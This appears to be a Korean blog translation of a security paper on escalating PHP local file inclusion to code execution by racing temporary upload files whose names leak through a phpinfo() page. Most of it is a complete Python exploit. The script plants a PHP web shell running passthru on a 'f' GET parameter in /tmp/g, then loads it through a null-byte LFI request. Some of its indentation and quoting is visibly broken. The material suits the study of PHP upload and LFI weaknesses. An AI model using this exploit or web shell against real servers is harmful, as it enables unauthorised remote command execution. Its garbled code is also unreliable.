[번역] LFI WITH PHPINFO() ASSISTANCE

LFI WITH PHPINFO() ASSISTANCE

 

Introduction

PHP 어플리케이션의 테스트에서 LFI 취약점은 여전히 일반적인 취약점이다. 서버 설정에 따라 다음의 포인트에서 알려진 주요 기법에 의해 코드 실행이 가능하다.

 

l  /proc/self/environ

l  /proc/self/fd/…

l  /var/lib/php/session/(PHP Sessions)

l  /tmp/(PHP Sessions)

l  PHP://input wrapper

l  PHP://filter wrapper

l  Data: wrapper

 

이 연구 문서는 Gynvael Coldwind의 “PHP LFI to arbitratry code execution via rfc 1867 file upload temporary files” 의 발전 시킨 것이다.

 

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

 

이 문서에서, 저자 문서의 정보는 PHP 파일 업로드의 특징과 관련이 있다. 저자가 알리고자 한 특징은 만약 file_upload = on 으로 PHP 설정이 되어 있을 때 특정 PHP 파일을 이용하여 post 방식의 파일 업로드가 가능하다는 것이다. 또한 그는 업로드 된 파일은 해당 PHP 파일의 처리가 완료 되기 까지 tmp 에 위치하게 된다고 한다.

 

여기서 또 하나의 PHP 관련 문서를 포함한다.

 

http://www.php.net/manual/en/features.file-upload.post-method.php

            만약 파일이 이동되거나 이름이 변경되지 않는다면, 파일은 request 요청이

마지막에 임시 디렉토리(tmp)에서 삭제 된다.

 

Gynvael Coldwind 문서에서는 윈도우 시스템에서 FindFirstFile 현상을 이용하여 위 동작을 exploit 하는 방법을 포함하고 있다.

 

Oddities of PHP file access in Windows®. Cheat-sheet, 2011 (Vladimir Vorontsov, Arthur Gerkis)

http://onsec.ru/onsec.whitepaper-02.eng.pdf

 

LFI 연구와 관련이 없다고 할지라도, 다음 문서는 PHP 웹 어플리케이션 보안 연구가들에게 흥미로울 것이다. 이 문서는 HEAD HTTP 메소드를 이용한, PHP 스크립트의 동작 이슈에 대한 내용이 있다.

HTTP HEAD method trick in php scripts (Adam Iwaniuk)

https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf

 

위 HEAD 메소드 트릭의 FindFirstFile 현상은 GNU/Linux 에서의 PHP 엔진엔 적용되지 않는다. 그렇지만 아래의 명백한 상태인 PHP File 업로드 취약점의 특징은 여전히 가능하다. 이 문서는 여러 조건 중 하나에 대해 자세히 기술한다. Phpinfo() 함수의 호출 결과에 대한 출력을 하는 스크립트를 접근할 때 사용 가능하게 된다.

 

 

LFI WITH PHPINFO() ASSISTANCE

다음의 서버 내 요소들이 취약 상태를 위해 필요하다.

l  LFI Vulnerability

LFI 취약점이 공격 수행을 위해 필요하다. 이 스크립트는 PHPInfo script를 통해 업로드 된 파일을 포함하기 위해 필요하다.

 

l  PHPinfo() Script

PHPinfo() 함수를 화면에 출력하는 스크립트가 필요하다. 대부분 이 파일은 /phpinfo.php 로 개발자들이 생성해 놓곤 한다.

 

 

Why PHPInfo()?

PHPinfo() 함수를 포함하는 스크립트는 다양한 PHP 변수들의 값들을 포함한다.

그 중 _GET, _POST 또는 업로드 된 _FILES 에 의해 셋팅 된 변수의 값들을 포함한다.

 

다음의 요청(request)와 출력 스크린샷은 어떻게 PHPinfo() 스크립트가 업로드 된 파일의 임시 파일명을 발견하는지 보여준다.

 

POST /phpinfo.php HTTP/1.0

Content-Type: multipart/form-data; boundary=—————————7db268605ae

Content-Length: 196

—————————–7db268605ae

Content-Disposition: form-data; name=”dummyname”; filename=”test.txt”

Content-Type: text/plain

Security Test

—————————–7db268605ae

 

 

 

 

Winning The Race

첫번째 페이지에서 서술 했듯이, 임시 파일은 PHP 처리과정이 .php 파일이 처리되는 동안만 존재한다. 그리고 처리가 끝날 때 함께 삭제되게 된다.

 

임시 파일에서의 동작은 다음의 명령을 통해 모니터링이 가능하다.

sudo inotifywat –m –r /tmp

( 또는 infotifywat /tmp )

 

그렇다면 다음과 같이 추측해 볼 수 있다.

만약 PHPinfo() 함수 포함 php 파일의 결과가 브라우저로 다시 보내어지고 있고, 그리고 PHP 처리 과정이 끝나고 파일이 삭제된다면, 비록 명백히 일반적이지는 않을 지라도, PHP 처리 과정이 여전히 요청된 파일에서 진행중인 동안에는 콘텐츠 결과의 일부분을 되찾아 오는 게 가능하다.

 

PHP는 처리 결과의 버퍼링을 사용하여 데이터 전송의 효율 증대를 노린다. 이 설정은 기본적인 설정이며 버퍼의 값은 4096 값으로 enable 되어 있다.

http://php.net/manual/en/outcontrol.configuration.php#ini.output-buffering

 

PHP 스크립트의 output 크기가 설정된 버퍼링의 설정 값보다 클 경우, 부분적인 컨텐츠는 요청자에게 리턴 된다.( 이 부분이 가장 중요하다.) 리턴 시 데이터는 청크 단위로 다음의 기술로 인해 인코딩 된다.

http://en.wikipedia.org/wiki/Chunked_transfer_encoding

 

PHP 스크립트의 결과물이 반드시 threshold 값보다 크게 하기 위해, 그리고 교묘하게 처리 시간을 증가시키기 위해, extra padding(exploit 코드 내에 A값을 5000 bytes 로 포함시켜 전송하는 행위)이 긴 길이의 extra HTTP header 값의 전송을 통해 포함된다.

 

PHPinfo 스크립트로 전송되는 multiple upload posts 들을 만들어 내는 것과, 그 응답에 대해 돌아오는 값들의 검사를 통해, 임시 파일명의 발견과 특정 임시 파일명의 LFI 요청 request가 가능하다. 이 조건들은 우리가 이 Race에서 이기도록 해준다. 그리고 효과적으로 LFI 취약점을 이용한 code execution의 변형 공격이 가능하게 된다.

이 취약점은 로컬, 원격의 서버에 모두 증명된 취약점이다.

 

#!/usr/bin/python

import sys

import threading

import socket

def setup(host, port):

    TAG=”Security Test”

    PAYLOAD=”””%s\r

<?php $c=fopen(‘/tmp/g’,’w’);fwrite($c,'<?php passthru($_GET[“f”]);?>’);?>\r””” % TAG   

    REQ1_DATA=”””—————————–7dbff1ded0714\r

Content-Disposition: form-data; name=”dummyname”; filename=”test.txt”\r

Content-Type: text/plain\r

\r

%s

—————————–7dbff1ded0714–\r””” % PAYLOAD

   

    padding=”A” * 5000

    REQ1=”””POST /phpinfo.php?a=”””+padding+””” HTTP/1.1\r

Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=”””+padding+”””\r

HTTP_ACCEPT: “”” + padding + “””\r

HTTP_USER_AGENT: “””+padding+”””\r

HTTP_ACCEPT_LANGUAGE: “””+padding+”””\r

HTTP_PRAGMA: “””+padding+”””\r

Content-Type: multipart/form-data; boundary=—————————7dbff1ded0714\r

Content-Length: %s\r

Host: %s\r

\r

%s””” %(len(REQ1_DATA),host,REQ1_DATA)

    #modify this to suit the LFI script

    LFIREQ=”””GET /lfi.php?load=%s%%00 HTTP/1.1\r

User-Agent: Mozilla/4.0\r

Proxy-Connection: Keep-Alive\r

Host: %s\r

\r

\r

“””

    return (REQ1, TAG, LFIREQ)

 

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))

    s2.connect((host, port))

    s.send(phpinforeq)

    d = “”

 

    while len(d) < offset:

        d += s.recv(offset)

        try:

            i = d.index(“[tmp_name] =&gt”)

            fn = d[i+17:i+31]

        except ValueError:

            return None

        s2.send(lfireq % (fn, host))

        d = s2.recv(4096)

        s.close()

        s2.close()

 

        if d.find(tag) != -1:

            return fn

       

counter=0       

class ThreadWorker(threading.Thread):

    def __init__(self, e, l, m, *args):

        threading.Thread.__init__(self)

        self.event = e

        self.lock = l

        self.maxattempts = m

        self.args = args

    def run(self):

        global counter

        while not self.event.is_set():

            with self.lock:

                if counter >= self.maxattempts:

                    return

                counter+=1

            try:

                x = phpInfoLFI(*self.args)

                if self.event.is_set():

                    break

                    if x:

                        print “\nGot it! Shell created in /tmp/g”

                        self.event.set()

            except socket.error:

                return

           

def getOffset(host, port, phpinforeq):

    “””Gets offset of tmp_name in the php output”””

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host,port))

    s.send(phpinforeq)

 

    d = “”

    while True:

        i = s.recv(4096)

        d+=i

        if i == “”:

            break

        # detect the final chunk

        if i.endswith(“0\r\n\r\n”):

            break

    s.close()

   

    i = d.find(“[tmp_name] =&gt”)

    if i == -1:

        raise ValueError(“No php tmp_name in phpinfo output”)

 

    print “found %s at %i” % (d[i:i+10],i)

    # padded up a bit

    return i+256

 

def main():

    print “LFI With PHPInfo()”

    print “-=” * 30

 

    if len(sys.argv) < 2:

        print “Usage: %s host [port] [threads]” % sys.argv[0]

        sys.exit(1)

 

    try:

        host = socket.gethostbyname(sys.argv[1])

    except socket.error, e:

        print “Error with hostname %s: %s” % (sys.argv[1], e)

        sys.exit(1)

 

    port=80

    try:

        port = int(sys.argv[2])

    except IndexError:

        pass

    except ValueError, e:

        print “Error with port %d: %s” % (sys.argv[2], e)

        sys.exit(1)

 

    poolsz=10

    try:

        poolsz = int(sys.argv[3])

    except IndexError:

        pass

    except ValueError, e:

        print “Error with poolsz %d: %s” % (sys.argv[3], e)

        sys.exit(1)

       

    print “Getting initial offset…”,

    reqphp, tag, reqlfi = setup(host, port)

    offset = getOffset(host, port, reqphp)

    sys.stdout.flush()

 

    maxattempts = 1000

    e = threading.Event()

    l = threading.Lock()

 

    print “Spawning worker pool (%d)…” % poolsz

    sys.stdout.flush()

 

    tp = []

    for i in range(0,poolsz):

        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

       

    for t in tp:

        t.start()

    try:

        while not e.wait(1):

            if e.is_set():

                break

            with l:

                sys.stdout.write( “\r% 4d / % 4d” % (counter, maxattempts))

                sys.stdout.flush()

                if counter >= maxattempts:

                    break

        print

        if e.is_set():

            print “Woot! \m/”

        else:

            print “:(“

    except KeyboardInterrupt:

        print “\nTelling threads to shutdown…”

        e.set()

 

        print “Shuttin’ down…”

        for t in tp:

            t.join()

           

if __name__==”__main__”:

    main()

 

 

 

 

참조 : http://www.exploit-db.com/download_pdf/17799

Advertisements

About this entry